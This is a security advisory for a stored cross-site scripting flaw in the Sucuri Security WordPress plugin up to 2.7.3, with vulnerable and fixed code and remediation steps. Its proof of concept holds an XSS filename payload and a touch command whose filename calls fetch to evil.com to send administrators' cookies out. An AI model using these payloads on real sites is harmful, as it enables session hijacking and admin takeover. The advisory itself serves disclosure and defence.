Stored Cross-Site Scripting via File Integrity Audit Logs

[potdf-bl4ck-570rm]

Sucuri Security - Auditing, Malware Scanner and Security Hardening ≤ 2.7.3

The formatChangedStatusFiles() function in src/auditlogs.lib.php renders filenames directly into audit-log HTML templates without HTML escaping. An attacker who can create files with malicious names in the WordPress installation (via theme/plugin upload, media library, or combined with another vulnerability) can inject arbitrary JavaScript that executes when an administrator views the Audit Logs page.

---

Technical Details

Root Cause

In src/auditlogs.lib.php:297 (v2.7.3), file names from audit-log entries were joined with implode() and passed to the template as a raw (%%%SUCURI.AuditLog.Extra%%%) variable:

// v2.7.3 — vulnerable
'file_affected_list' => !empty($event['file_list'])
    ? '<span class="sucuriscan-auditlog-files">' . implode(', ', $event['file_list']) . '</span>'
    : '',

The template (inc/tpl/auditlogs.snippet.tpl:24) uses the raw/unescaped variable tag %%%SUCURI.AuditLog.Extra%%%, meaning no HTML entity encoding is applied.

Fix

Commit 8b786c5 introduced formatChangedStatusFiles() which applies SucuriScan::escape() (alias for WordPress esc_attr()) to each filename:

// v2.7.4 — fixed
private static function formatChangedStatusFiles($file_list)
{
    return implode(
        ",\x20",
        array_map(array('SucuriScan', 'escape'), (array) $file_list)
    );
}

---

Proof of Concept

1. Create a file with a malicious name in the WordPress uploads directory or any monitored location:

   <img src=x onerror="alert(document.cookie)">.php
   

2. Trigger a file integrity scan via Sucuri Security → Settings → Scanner → "Run Integrity Check".

3. Navigate to Sucuri Security → Audit Logs as an administrator.

4. The XSS payload executes in the administrator's browser session, demonstrating cookie theft or arbitrary action execution.

Example: Attacker-controlled file creation

# Via a compromised theme/plugin or media upload
touch /var/www/html/wp-content/uploads/'<img src=x onerror=fetch("https://evil.com/steal?c="+document.cookie)>.php'

---

Impact

• CVSS 3.1: 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Session hijacking via cookie theft
• Administration actions performed on behalf of the victim
• Defacement of the audit log page

---

Affected Versions

• Vulnerable: ≤ 2.7.3
• Fixed: 2.7.4

---

Remediation

Update to version 2.7.4 or later.

---

References

• Plugin: https://wordpress.org/plugins/sucuri-scanner/